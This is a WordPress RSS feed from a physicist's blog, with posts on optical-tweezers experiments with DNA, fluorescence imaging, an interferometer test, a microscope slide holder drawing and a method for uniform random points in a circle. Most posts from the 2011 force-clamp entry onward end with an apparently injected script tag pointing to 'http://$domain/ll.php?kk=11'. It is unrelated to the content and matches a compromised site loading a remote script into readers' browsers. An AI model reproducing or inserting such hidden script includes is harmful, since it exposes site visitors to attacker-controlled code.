<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>anderswallin.net &#187; Research</title>
	<atom:link href="http://www.anderswallin.net/category/research/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.anderswallin.net</link>
	<description></description>
	<lastBuildDate>Wed, 08 Feb 2012 12:05:52 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Microscope slide holder</title>
		<link>http://www.anderswallin.net/2012/01/microscope-slide-holder/</link>
		<comments>http://www.anderswallin.net/2012/01/microscope-slide-holder/#comments</comments>
		<pubDate>Mon, 30 Jan 2012 22:31:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[dxf]]></category>
		<category><![CDATA[librecad]]></category>
		<category><![CDATA[microscope]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=5521</guid>
		<description><![CDATA[A plate for holding 76 mm x 26 mm glass slides in the microscope. My first ever 'real' drawing with LibreCAD (that website has been down for two days now, so try also librecad on sourceforge). Drawing in PDF: chamber_holder Drawing in DXF: plate_v2.dxf]]></description>
			<content:encoded><![CDATA[<p>A plate for holding 76 mm x 26 mm glass slides in the microscope. My first ever 'real' drawing with <a href="http://www.librecad.org">LibreCAD</a> (that website has been down for two days now, so try also <a href="http://sourceforge.net/projects/librecad/">librecad on sourceforge</a>).<br />
<a href="http://www.anderswallin.net/wp-content/uploads/2012/01/microscope_slide_holder.png"><img src="http://www.anderswallin.net/wp-content/uploads/2012/01/microscope_slide_holder-300x172.png" alt="" title="microscope_slide_holder" width="300" height="172" class="alignnone size-medium wp-image-5522" /></a></p>
<p>Drawing in PDF: <a href='http://www.anderswallin.net/wp-content/uploads/2012/01/chamber_holder.pdf'>chamber_holder</a><br />
Drawing in DXF: <a href='http://www.anderswallin.net/wp-content/uploads/2012/01/plate_v2.dxf_.zip'>plate_v2.dxf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2012/01/microscope-slide-holder/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Lambda exonuclease video</title>
		<link>http://www.anderswallin.net/2011/08/lambda-exonuclease-video/</link>
		<comments>http://www.anderswallin.net/2011/08/lambda-exonuclease-video/#comments</comments>
		<pubDate>Wed, 03 Aug 2011 15:38:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[optical tweezers]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4612</guid>
		<description><![CDATA[The fourth paper from my thesis, entitled "Dual-trap optical tweezers with real-time force clamp control", has just been published online by Review of Scientific Instruments: http://link.aip.org/link/doi/10.1063/1.3615309 Here's a video from the paper. We are holding on to two micron sized plastic spheres with laser-beams (shown in the video as green/cyan cross-hairs). The lower beam/trap is [...]]]></description>
			<content:encoded><![CDATA[<p>The fourth paper from my thesis, entitled "Dual-trap optical tweezers with real-time force clamp control", has just been published online by Review of Scientific Instruments: <a href="http://link.aip.org/link/doi/10.1063/1.3615309">http://link.aip.org/link/doi/10.1063/1.3615309</a></p>
<p>Here's a video from the paper. We are holding on to two micron sized plastic spheres with <a href="http://en.wikipedia.org/wiki/Optical_tweezers">laser-beams</a> (shown in the video as green/cyan cross-hairs). The lower beam/trap is stationary while the upper one is steerable. A ca 16um long DNA-molecule (invisible) is tethered between the beads.The experiment is performed in the presence of lambda <a href="http://en.wikipedia.org/wiki/Exonuclease">exonuclease</a>, an enzyme that "eats up" one strand of the DNA leaving just a single-stranded DNA-tether between the beads.</p>
<p>In the first part of the video a force-extension curve (bottom panel) is obtained using manual control. We stretch out the molecule by moving the upper trap upwards and check that the force-signal <a href="http://en.wikipedia.org/wiki/Worm-like_chain">looks like it should</a> when we have a single DNA-molecule of the right length between the beads.</p>
<p>In the second part, after t = 20 s, the tether is held force clamped at 3.4 pN (force shown in top panel). We're keeping the force constant with a PI-controller implemented on an <a href="http://en.wikipedia.org/wiki/Field-programmable_gate_array">FPGA</a> that reads the force-signal from the lower bead and updates the position of the upper trap at around 200 kHz. As the molecule shortens the controller needs to move the upper trap/bead lower in order to maintain a 3.4 pN tension in the molecule. The video is at normal speed (1X) while the force extension curve is measured. During 13 min of force-clamp control the video is sped up 25-fold. During this time the exonuclease digests one strand of the double-stranded DNA molecule. When held at 3.4 pN of tension, single-stranded DNA is significantly shorter than double-stranded DNA. So the gradual conversion from a double-stranded tether to a single-stranded tether is seen as a decrease in the extension, i.e. a shortening of the distance between the plastic beads (middle panel). The tether broke at t = 880 s. Scale-bar 5 ?m.<br />
<iframe src="http://www.youtube.com/embed/ddPdxk6-1k0?rel=0" frameborder="0" width="480" height="390"></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/08/lambda-exonuclease-video/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Piled Higher&#039;n Deeper</title>
		<link>http://www.anderswallin.net/2011/06/piled-highern-deeper-2/</link>
		<comments>http://www.anderswallin.net/2011/06/piled-highern-deeper-2/#comments</comments>
		<pubDate>Thu, 23 Jun 2011 08:51:07 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[PHD]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4510</guid>
		<description><![CDATA[Finally got my PhD diploma yesterday. Yay! The thesis looks like this, and is available online.]]></description>
			<content:encoded><![CDATA[<p>Finally got my PhD diploma yesterday. Yay!</p>
<p>The thesis looks like this, and<a href="http://urn.fi/URN:ISBN:978-952-10-6880-5"> is available online</a>.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2005/09/aw_thesis_cover_500px1.jpg"><img class="alignnone size-medium wp-image-4400" title="aw_thesis_cover_500px" src="http://www.anderswallin.net/wp-content/uploads/2005/09/aw_thesis_cover_500px1-210x300.jpg" alt="" width="210" height="300" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/06/piled-highern-deeper-2/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Force-clamp feedback for optical tweezers</title>
		<link>http://www.anderswallin.net/2011/02/force-clamp-feedback-for-optical-tweezers/</link>
		<comments>http://www.anderswallin.net/2011/02/force-clamp-feedback-for-optical-tweezers/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 15:12:12 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[feedback]]></category>
		<category><![CDATA[optical tweezers]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=4196</guid>
		<description><![CDATA[A ~16 um long DNA-molecule is tethered between optically trapped plastic beads. Beads are held by a stationary trap (lower blue cross-hairs) and a steerable trap (upper green cross-hairs). The graphs on the right show the measured force (red) and the force set-point (blue) (top), the distance between the traps (middle), and the force-extension curve [...]]]></description>
			<content:encoded><![CDATA[<p><iframe title="YouTube video player" width="480" height="390" src="http://www.youtube.com/embed/HsuwMnMIEyc" frameborder="0" allowfullscreen></iframe></p>
<p>A ~16 um long DNA-molecule is tethered between optically trapped plastic beads. Beads are held by a stationary trap (lower blue cross-hairs) and a steerable trap (upper green cross-hairs). The graphs on the right show the measured force (red) and the force set-point (blue) (top), the distance between the traps (middle), and the force-extension curve with a green cross indicating the current value (bottom). A force-extension curve of the tether is first obtained manually, before force-clamp feedback is switched on at t=24 s. The force set-point is first at 5.5 pN, then increased to 11.4 pN at 30 s and finally increased to 17.4 pN at 35 s. Scale-bar 5 µm. Anders Wallin et al. University of Helsinki, Finland, 2011.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2011/02/force-clamp-feedback-for-optical-tweezers/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Michelson interferometer</title>
		<link>http://www.anderswallin.net/2009/12/michelson-interferometer/</link>
		<comments>http://www.anderswallin.net/2009/12/michelson-interferometer/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:20:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Astro]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[interferometer]]></category>
		<category><![CDATA[laser]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=2208</guid>
		<description><![CDATA[Tried this simple Michelson interferometer for measuring the error of a 100mm translation stage yesterday. The interferometer and stage are mounted to the same optical table, but there's still a fair amount of vibration of the measurement corner-cube which causes instability in the signal when the stage is not moving. Some sample data here: interf_data. One [...]]]></description>
			<content:encoded><![CDATA[<p>Tried this simple Michelson interferometer for measuring the error of a 100mm translation stage yesterday. The interferometer and stage are mounted to the same optical table, but there's still a fair amount of vibration of the measurement corner-cube which causes instability in the signal when the stage is not moving.</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/12/interf.jpg"><img class="alignnone size-medium wp-image-2209" title="interf" src="http://www.anderswallin.net/wp-content/uploads/2009/12/interf-625x468.jpg" alt="interf" width="625" height="468" /></a></p>
<p>Some sample data here: <a href="http://www.anderswallin.net/wp-content/uploads/2009/12/interf_data.zip">interf_data</a>. One channel is an encoder signal from the motor which should come every 5 um, the other channel is the interferometer output. Analysis will follow...<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/12/michelson-interferometer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One More Feedback Paper</title>
		<link>http://www.anderswallin.net/2009/11/one-more-feedback-paper/</link>
		<comments>http://www.anderswallin.net/2009/11/one-more-feedback-paper/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 21:03:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[feedback]]></category>
		<category><![CDATA[fpga]]></category>
		<category><![CDATA[optical tweezers]]></category>
		<category><![CDATA[paper]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/2009/11/one-more-feedback-paper/</guid>
		<description><![CDATA[FPGA-based real-time position-clamp control in optical tweezers, The Sequel: doi:10.1063/1.3257693 (first part here)]]></description>
			<content:encoded><![CDATA[<p>FPGA-based real-time position-clamp control in optical tweezers, The Sequel: <a href="http://dx.doi.org/10.1063/1.3257693">doi:10.1063/1.3257693</a> (first part <a href="http://www.anderswallin.net/2008/06/an-optical-position-clamp/">here</a>)<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/11/one-more-feedback-paper/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fluorescent DNA</title>
		<link>http://www.anderswallin.net/2009/10/fluorescent-dna-2/</link>
		<comments>http://www.anderswallin.net/2009/10/fluorescent-dna-2/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 19:58:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[dna]]></category>
		<category><![CDATA[fluorescence]]></category>
		<category><![CDATA[optical tweezers]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1876</guid>
		<description><![CDATA[Some very early testing of fluorescence imaging in our optical tweezers instrument. A 10 kb long piece of DNA (ca 3 um long when stretched) is held between two optically trapped microspheres. The DNA is coated with a fluorescent dye (SYBR-gold) which is exited by a 488 nm blue laser and the fluorescence signal is [...]]]></description>
			<content:encoded><![CDATA[<p>Some very early testing of fluorescence imaging in our optical tweezers instrument. A 10 kb long piece of DNA (ca 3 um long when stretched) is held between two optically trapped microspheres. The DNA is coated with a fluorescent dye (SYBR-gold) which is exited by a 488 nm blue laser and the fluorescence signal is collected with a CCD camera looking through a narrow-band filter centered on the emission spectrum of SYBR-gold.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/y1gIu85kdCs&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/y1gIu85kdCs&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object></p>
<p>At around 1:10 in the video there's a double-tether (two DNA-molecules between the beads). We don't want that but there is not much that we can do about it, except discard the data. At the very end there's an image of QDots on the coverglass surface.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/10/fluorescent-dna-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Colors</title>
		<link>http://www.anderswallin.net/2009/07/colors/</link>
		<comments>http://www.anderswallin.net/2009/07/colors/#comments</comments>
		<pubDate>Tue, 21 Jul 2009 14:54:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[colours]]></category>
		<category><![CDATA[laser]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1458</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009003.jpg"><img class="alignnone size-medium wp-image-1457" title="21072009003" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009003-450x337.jpg" alt="21072009003" width="450" height="337" /></a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009004.jpg"><img class="alignnone size-medium wp-image-1454" title="21072009004" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009004-450x337.jpg" alt="21072009004" width="450" height="337" /></a></p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009001.jpg"><img class="alignnone size-medium wp-image-1456" title="21072009001" src="http://www.anderswallin.net/wp-content/uploads/2009/07/21072009001-450x337.jpg" alt="21072009001" width="450" height="337" /></a><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/07/colors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fluorescent DNA</title>
		<link>http://www.anderswallin.net/2009/05/fluorescent-dna/</link>
		<comments>http://www.anderswallin.net/2009/05/fluorescent-dna/#comments</comments>
		<pubDate>Thu, 21 May 2009 18:12:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[dna]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1325</guid>
		<description><![CDATA[I'm testing an EMCCD camera. This is a video of fluorescently labeled DNA through a 100x epi-fluorescence microscope. Or you can try a slightly better quality wmv-download (82 Mb) Once we've had time to practice some more, it should look much cooler, something like these DNA-curtains, or DNA-ejection from bacteriophage lambda. But it's a start. Also [...]]]></description>
			<content:encoded><![CDATA[<p>I'm testing an <a href="http://en.wikipedia.org/wiki/Electron_multiplying_CCD">EMCCD</a> camera. This is a video of fluorescently labeled DNA through a 100x epi-fluorescence microscope.<br />
<object width="425" height="344" data="http://www.youtube.com/v/MdYHu3SoDYE&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/MdYHu3SoDYE&amp;hl=en&amp;fs=1" /><param name="allowfullscreen" value="true" /></object></p>
<p>Or you can try a slightly better quality <a href="http://www.anderswallin.net/wp-content/uploads/2009/05/fluorescent_dna.wmv">wmv-download (82 Mb)</a></p>
<p>Once we've had time to practice some more, it should look much cooler, something like <a href="http://pubs.acs.org/doi/abs/10.1021/la801762h">these DNA-curtains</a>, or <a href="http://www.youtube.com/watch?v=1WXx5Jas7SM">DNA-ejection from bacteriophage lambda</a>. But it's a start.</p>
<p>Also on a youtube near you: <a href="http://www.youtube.com/watch?v=9ncrx6NkXmQ">molecular motors</a>, <a href="http://www.youtube.com/watch?v=Coe4T3Eky1k">TIRFM</a>, <a href="http://www.youtube.com/watch?v=BHB-mdF6vFI">optical tweezers setup animation</a>,<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/05/fluorescent-dna/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.anderswallin.net/wp-content/uploads/2009/05/fluorescent_dna.wmv" length="86269564" type="video/x-ms-wmv" />
<enclosure url="http://www.anderswallin.net/wp-content/uploads/2009/05/fluorescent_dna.wmv" length="86269564" type="video/x-ms-wmv" />
		</item>
		<item>
		<title>Uniform random points in a circle using polar coordinates</title>
		<link>http://www.anderswallin.net/2009/05/uniform-random-points-in-a-circle-using-polar-coordinates/</link>
		<comments>http://www.anderswallin.net/2009/05/uniform-random-points-in-a-circle-using-polar-coordinates/#comments</comments>
		<pubDate>Fri, 15 May 2009 06:13:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[points]]></category>
		<category><![CDATA[polar coordinates]]></category>
		<category><![CDATA[random]]></category>

		<guid isPermaLink="false">http://www.anderswallin.net/?p=1313</guid>
		<description><![CDATA[I need this seldom enough to forget how it's done - but then it's annoying to have to think/google for the solution again when I do need it... So I'll document here. The task is to generate uniformly distributed numbers within a circle of radius R in the (x,y) plane. At first polar coordinates seems [...]]]></description>
			<content:encoded><![CDATA[<p>I need this seldom enough to forget how it's done - but then it's annoying to have to think/google for the solution again when I do need it... So I'll document here.</p>
<p>The task is to generate uniformly distributed numbers within a circle of radius R in the (x,y) plane. At first polar coordinates seems like a great idea, and the naive solution is to pick a radius r uniformly distributed in [0, R], and then an angle theta uniformly distributed in [0, 2pi]. BUT, you end up with an exess of points near the origin (0, 0)!  This is wrong because if we look at a certain angle interval, say [theta, theta+dtheta], there needs to be more points generated further out (at large r), than close to zero. The radius must not be picked from a uniform distribution, but one that goes as</p>
<p>pdf_r = (2/R^2)*r</p>
<p>That's easy enough to do by calculating the inverse of the cumulative distribution, and we get for r:</p>
<p>r = R*sqrt( rand() )</p>
<p>where rand() is a uniform random number in [0, 1]. Here is a picture:</p>
<p><a href="http://www.anderswallin.net/wp-content/uploads/2009/05/fig2.jpg"><img class="alignnone size-medium wp-image-1314" title="fig2" src="http://www.anderswallin.net/wp-content/uploads/2009/05/fig2-450x334.jpg" alt="fig2" width="450" height="334" /></a></p>
<p>some <a href="http://www.anderswallin.net/wp-content/uploads/2009/05/test.m">matlab code here</a>.</p>
<p>The thinking for generating random points on the surface of a sphere in 3D is very similar. If I get inspired I will do a post on that later, meanwhile you can go read <a href="http://beam.acclab.helsinki.fi/~djurabek/mc/mc4nc.pdf">these lecture notes</a>.<script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.anderswallin.net/2009/05/uniform-random-points-in-a-circle-using-polar-coordinates/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

